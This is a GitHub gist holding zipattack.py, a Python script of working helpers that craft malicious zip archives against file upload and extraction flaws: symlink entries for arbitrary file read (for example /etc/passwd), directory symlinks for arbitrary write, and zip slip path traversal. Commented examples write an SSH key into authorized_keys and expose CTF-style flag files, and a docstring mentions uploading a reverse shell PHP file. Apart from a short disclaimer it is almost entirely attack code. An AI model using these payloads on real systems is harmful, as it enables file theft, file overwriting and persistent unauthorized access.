Created
December 8, 2024 15:15
Python helpers to craft zip attack payloads to exploit file upload vulnerabilities.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
""" | |
zipattack.py | |
by @trebledj | |
Python helpers to craft zip attack payloads to exploit file upload | |
vulnerabilities. | |
Disclaimer: This script is intended purely for educational purposes. The author | |
does not assume any responsibility for the potential misuse of the code | |
presented herein. Users are advised to exercise caution and utilize the | |
knowledge gained responsibly and within legal boundaries. | |
Relevant Blog Post: https://trebledj.me/posts/attack-of-the-zip/ | |
""" | |
import stat | |
import zipfile | |
def make_zip_symlink(filename: str, windows: bool): | |
info = zipfile.ZipInfo(filename) | |
info.create_system = 0 if windows else 3 | |
# The Python zipfile module accepts the 16-bit "Mode" field (that stores | |
# st_mode field from struct stat, containing user/group/other permissions, | |
# setuid/setgid and symlink info, etc) of the ASi extra block for Unix as | |
# bits 16-31 of the external_attr. | |
unix_st_mode = stat.S_IFLNK | 0o777 | |
info.external_attr = unix_st_mode << 16 | |
return info | |
def create_zip_with_symlink_file(output_zip_filename, target_file, dest_filename, windows=False): | |
""" | |
Constructs a zip to exploit arbitrary READ. | |
- output_zip_filename: str | |
- Name of the zipfile to output. | |
- target_file: str | |
- Name of the file you want to read on the victim machine. | |
- dest_filename: str | |
- The filename of the symlink to be created on the victim machine. | |
- windows: bool | |
- Whether the system you're targetting is a Windows machine. | |
The zip will have the following structure: | |
./ | |
└── passwd.txt -> symlink to arbitrary file (dest_filename) | |
If you have: | |
1. access to the directory where the zip is unzipped, and | |
2. the process which relays the files has read-access to the symlinked file, | |
Then congrats, you (should have) arbitrary read! | |
""" | |
zip = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED) | |
info = make_zip_symlink(dest_filename, windows) | |
zip.writestr(info, target_file) | |
zip.close() | |
def create_zip_with_symlink_dir(output_zip_filename, target_dir, src_filename, dest_filename, windows=False): | |
""" | |
Constructs a zip to exploit arbitrary WRITE. | |
- output_zip_filename: str | |
- Name of the zipfile to output. | |
- target_dir: str | |
- Name of the directory you want to write to on the victim machine. | |
- src_filename: str | |
- The local file (on your machine) to be added to the zip file. | |
- dest_filename: str | |
- The filename to save to on the victim machine. | |
- windows: bool | |
- Whether the system you're targetting is a Windows machine. | |
The zip will have the following structure: | |
./ | |
└── dir/ -> symlink to arbitrary folder | |
└── evil.php -> your own file (dest_filename) | |
This allows you to toss the file anywhere in the system, assuming the process has write privileges. | |
""" | |
zip = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED) | |
info = make_zip_symlink('dir', windows) | |
zip.writestr(info, target_dir) | |
zip.write(src_filename, f'dir/{dest_filename}') | |
zip.close() | |
def create_zip_with_double_symlink(output_zip_filename, target_dir, target_file, dest_filename, windows=False): | |
""" | |
Constructs a zip to exploit arbitrary READ/WRITE. | |
- output_zip_filename: str | |
- Name of the zipfile to output. | |
- target_dir: str | |
- Name of the directory you want to write to on the victim machine. | |
- target_file: str | |
- Name of the file you want to read on the victim machine. | |
- dest_filename: str | |
- The filename of the symlink to be created on the victim machine. | |
- windows: bool | |
- Whether the system you're targetting is a Windows machine. | |
The zip will have the following structure: | |
./ | |
└── dir/ -> symlink to arbitrary folder | |
└── passwd.txt -> symlink to arbitrary file (dest_filename) | |
Unzipped by an oblivious application, this would write a symlink to an | |
*arbitrary directory*. To clarify, there are two symlinks in play here. | |
1. `dir/`, which links to a folder. | |
2. `dir/passwd.txt`, which links to a file. | |
By writing to an arbitrary folder, we can place file.txt somewhere accessible. | |
For example, on a PHP application, we could call: | |
create_zip_with_symlink('evil.zip', '/var/www/html/', '/etc/passwd', 'passwd.html') | |
Then accessing `http://{ip}/passwd.html` would yield the contents of /etc/passwd. | |
Ofc, if it _was_ a PHP application, we could just use ziplink.py to upload a reverse_shell.php | |
instead of this roundabout way of a double link. | |
""" | |
zip = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED) | |
info_dir = make_zip_symlink(f'dir', windows) | |
info_file = make_zip_symlink(f'dir/{dest_filename}', windows) | |
zip.writestr(info_dir, target_dir) | |
zip.writestr(info_file, target_file) | |
zip.close() | |
def create_zip_slip(output_zip_filename, src_filename, dest_filename, windows=False): | |
""" | |
Constructs a zip slip payload using an existing file. | |
- output_zip_filename: str | |
- Name of the zipfile to output. | |
- src_filename: str | |
- The local file (on your machine) to be added to the zip file. | |
- dest_filename: str | |
- The filename to save to on the victim machine. | |
- windows: bool | |
- Whether the system you're targetting is a Windows machine. | |
""" | |
if windows: | |
dest_filename = dest_filename.replace('/', '\\') | |
zip = zipfile.ZipFile(output_zip_filename, 'w') | |
zip.write(src_filename, dest_filename) | |
zip.close() | |
# Examples: | |
# create_zip_with_double_symlink('evil-linkwr.mscz', '/app/static/', '/app/flag.txt', 'flag.js') | |
# create_zip_with_symlink_dir('evil-overwrite-index-js.mscz', '/home/bob/app/static/', 'payload.js', 'index.js') | |
# create_zip_with_double_symlink('evil-file-link-js-shosti.mscz', '/home/bob/app/static/', '/home/bob/app/flag.txt', 'flag.js') | |
# create_zip_slip('evil-slip-ssh.mscz', 'sshkey.pub', '../../../../flag.js') | |
# create_zip_with_symlink_file('evil-slip.mscz', '/app/flag.txt', '../../../../../../app/static/flag.html') | |
# create_zip_with_double_symlink('test.zip', '/Users/jjjlaw/Desktop/nothing/', '/app/flag.txt', 'flag.js') | |
# create_zip_with_symlink_dir('test2.zip', '/Users/jjjlaw/Desktop/nothing/', 'sshkey.pub', 'authorized_keys') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment